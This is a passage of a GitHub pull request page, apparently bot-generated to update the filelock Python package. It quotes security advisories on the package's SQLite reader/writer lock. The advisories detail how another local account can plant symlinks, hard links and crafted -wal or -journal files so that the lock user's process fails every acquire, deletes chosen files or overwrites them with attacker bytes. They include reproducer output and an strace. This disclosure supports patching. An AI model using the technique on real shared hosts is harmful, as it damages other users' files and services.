          as_lock_user(lambda: acquire(db)), "| named file still exists:", notes.exists(), "| -journal still exists:", pathlib.Path(f"{db}-journal").exists())

Recorded output on the VM:

planting account: bernat | lock account: fltester
empty database, undeletable -wal: acquire failed: OperationalError: disk I/O error | -wal still exists: True
database with a table, deletable -journal naming the lock account's file: acquired | named file still exists: False | -journal still exists: False
database with a table, undeletable -journal naming the lock account's file: acquire failed: OperationalError: unable to open database file | named file still exists: True | -journal still exists: True
Failure sequence
flowchart TD
    P["other account: create lock.db-wal (or lock.db-journal) beside lock.db in C:/Windows/Temp, grant everyone modify, deny everyone DELETE"] --> C["lock user: ReadWriteLock(lock.db).write_lock(timeout=1)"]
    C --> O["_open_lock_database checks the handle: regular file, no reparse point, header not WAL"]
    O --> S["sqlite3.connect(lock.db) by path, then PRAGMA journal_mode=MEMORY"]
    S -- "empty database, undeletable -wal" --> E1["SQLite cannot delete the leftover -wal: OperationalError disk I/O error on every acquire, timeout not consulted"]
    S -- "database with a table, writable -journal" --> E2["SQLite treats the journal as hot, replays it and deletes the file its tail names, acquire succeeds"]
    S -- "database with a table, read-only -journal" --> E3["OperationalError unable to open database file on every acquire"]
    classDef ok fill:#d8f3dc,stroke:#&#8203;2d6a4f,color:#&#8203;1b4332;
    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#&#8203;5c0000;
    classDef info fill:#cfe4ff,stroke:#&#8203;1f6feb,color:#&#8203;0b1f3a;
    class P,C,O,S info;
    class E1,E2,E3 bad;
Loading
Evidence

The reproducer printed the three lines above on the VM: the undeletable -wal beside an empty database made write_lock(timeout=1) fail with OperationalError: disk I/O error and left the file in place; the writable journal beside a database with one table let the acquire succeed while the file the journal named, created by the lock account with the content keep, was gone along with the journal; the read-only journal made the acquire fail with OperationalError: unable to open database file and left both files. The review notes that the Windows branch of _connect is unchanged since #​399, so the behavior is the same at b831496b0273 and in 4.2.0. The scanner and the maintainers measured the same side-file effects on Linux for GHSA-v4x8-3wr5-3wq8.

Impact

In a directory such as C:\Windows\Temp, another local account turns every read_lock() and write_lock() on a ReadWriteLock database into an immediate sqlite3.OperationalError, for as long as its file stays. Callers that handle Timeout or OSError do not catch it, and the lock user cannot remove the file. With a lock database that holds a table and a journal the lock user can write, the lock user's process deletes one file of the other account's choosing, among the files the lock user may delete, and the acquire reports success. The lock's own database is not changed, nothing is read, and mutual exclusion between processes that acquire the lock holds.

Workarounds
  • Keep the ReadWriteLock database in a directory other accounts cannot create files in: %LOCALAPPDATA%, the per-user temporary directory (%TEMP% of a user session), or a directory with inheritance removed and only the owner, SYSTEM and Administrators granted. C:\Windows\Temp and C:\Users\Public do not qualify.
  • Treat sqlite3.OperationalError: disk I/O error on every acquire as a foreign <database>-wal beside the database, which only its creator or an administrator can remove.
Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/854

Credits

Found by the maintainers while reviewing the fix for the POSIX form of this defect, GHSA-v4x8-3wr5-3wq8, reported by Anthropic's OSS Scanner on 15 October 2026 (review round 4, set D, finding F2).

  • 2026-10-15 23:08 UTC: report received (36 findings; the Windows side-file effect is not among them)
  • 2026-10-16 01:15 UTC: PR #​834 opened, for the POSIX routes
  • 2026-10-16 08:31 UTC: finding identified in the maintainers' review of PR #​834
  • 2026-10-16 22:43 UTC: draft advisory created

Severity

  • CVSS Score: 3.3 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files

CVE-2026-112940 / GHSA-v4x8-3wr5-3wq8

More information

Details

ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to /proc/self/fd/<n>, a Linux path that names the process's own open file n. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on -journal, -wal and -shm files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.

Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary read_lock() or write_lock() write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as /tmp a planted -wal file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the /proc/self/fd redirect since 4.0.9, the side-file variants since 3.20.4).

Anthropic's OSS Scanner reported this in private as ANT-2026-KMJ2575J [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H scores 7.1 (High). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. I:H (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. A:H (high availability impact): the other user makes every acquire fail or kills the lock holder. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.

Classification from the external review: conditional security, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.

Scope and preconditions
  • The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a 0777 directory or a group-writable one (including a setgid 2775 project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is 0666. filelock itself creates the database 0600.
  • Sticky directories (/tmp, /var/tmp, any 1777 directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with fs.protected_regular=2). What remains is a planted non-empty <db>-wal (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise sqlite3.OperationalError: disk I/O error. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if fs.protected_hardlinks=0.
  • Two kernel settings matter. fs.protected_regular (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in /tmp, and SQLite follows a planted symlink itself (not tested). fs.protected_hardlinks=1 (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.
  • Platform and route. The /proc/self/fd redirect is Linux with /proc mounted, 4.0.9 and later. The side-file variants (-journal, -wal, -shm) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without /proc) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.
  • Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
Affected code

At the scanned commit b831496b0273: _connect_through_descriptor builds /proc/self/fd/<n> and hands it to sqlite3.connect. The assumption is the comment at line 63, "Descriptor paths reopen the validated inode" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at PRAGMA journal_mode=MEMORY, line 816. The check in _raise_if_database_replaced at line 836 runs only after BEGIN. Both _open_lock_database and _raise_if_wal inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is _link_beside.

Introduced

The /proc/self/fd redirect came with 4d45e83 ("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in 4.0.9 (verified: git tag --contains 4d45e83 gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#​399)"), first released in 3.20.4 (verified), which passed the lock path straight to sqlite3.connect.

Mechanism

On Linux the lock opens the database with O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls sqlite3.connect("/proc/self/fd/<n>") and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs readlink() on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db" and then a second openat of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is <database> (deleted). A symlink with that exact name sends SQLite wherever its creator chose.

The other user prepares the directory before the lock user runs. They create a database cache.lock.db (0666, so the lock user's lock accepts it) with a second hard link cache.lock.db.keep, and the symlink cache.lock.db (deleted) -> /tmp/victim-notes.txt. The lock user's os.open raises an inotify IN_OPEN event. The other user unlinks cache.lock.db and links cache.lock.db.keep back under the same name. The lock user's descriptor still refers to the unlinked entry, so /proc/self/fd/3 now reads /tmp/shared-cache/cache.lock.db (deleted). sqlite3.connect resolves it, follows the symlink and opens the target O_RDWR|O_CREAT. None of filelock's checks look at that file. _open_lock_database and _raise_if_wal inspect descriptor 3. _raise_if_database_replaced compares an lstat of the lock path with the descriptor's (st_dev, st_ino), which passes because the other user linked the same inode back, and it runs only after BEGIN.

The damage comes from the first statement, PRAGMA journal_mode=MEMORY. SQLite finds <target>-journal, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):

openat("/tmp/shared-cache/cache.lock.db", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3
readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41
readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21
openat("/tmp/victim-notes.txt", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4
openat("/tmp/victim-notes.txt-journal", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5
pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) =

> [!IMPORTANT]
> ✂ PR body was truncated to here.

@renovate
renovate Bot enabled auto-merge October 24, 2026 00:34
@renovate renovate Bot changed the title Update dependency filelock to v4 [SECURITY] Update dependency filelock to v4 [SECURITY] - autoclosed Oct 24, 2026
@renovate renovate Bot closed this Oct 24, 2026
auto-merge was automatically disabled October 24, 2026 21:06

Pull request was closed

@renovate
renovate Bot deleted the renovate/pypi-filelock-vulnerability branch October 24, 2026 21:06
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants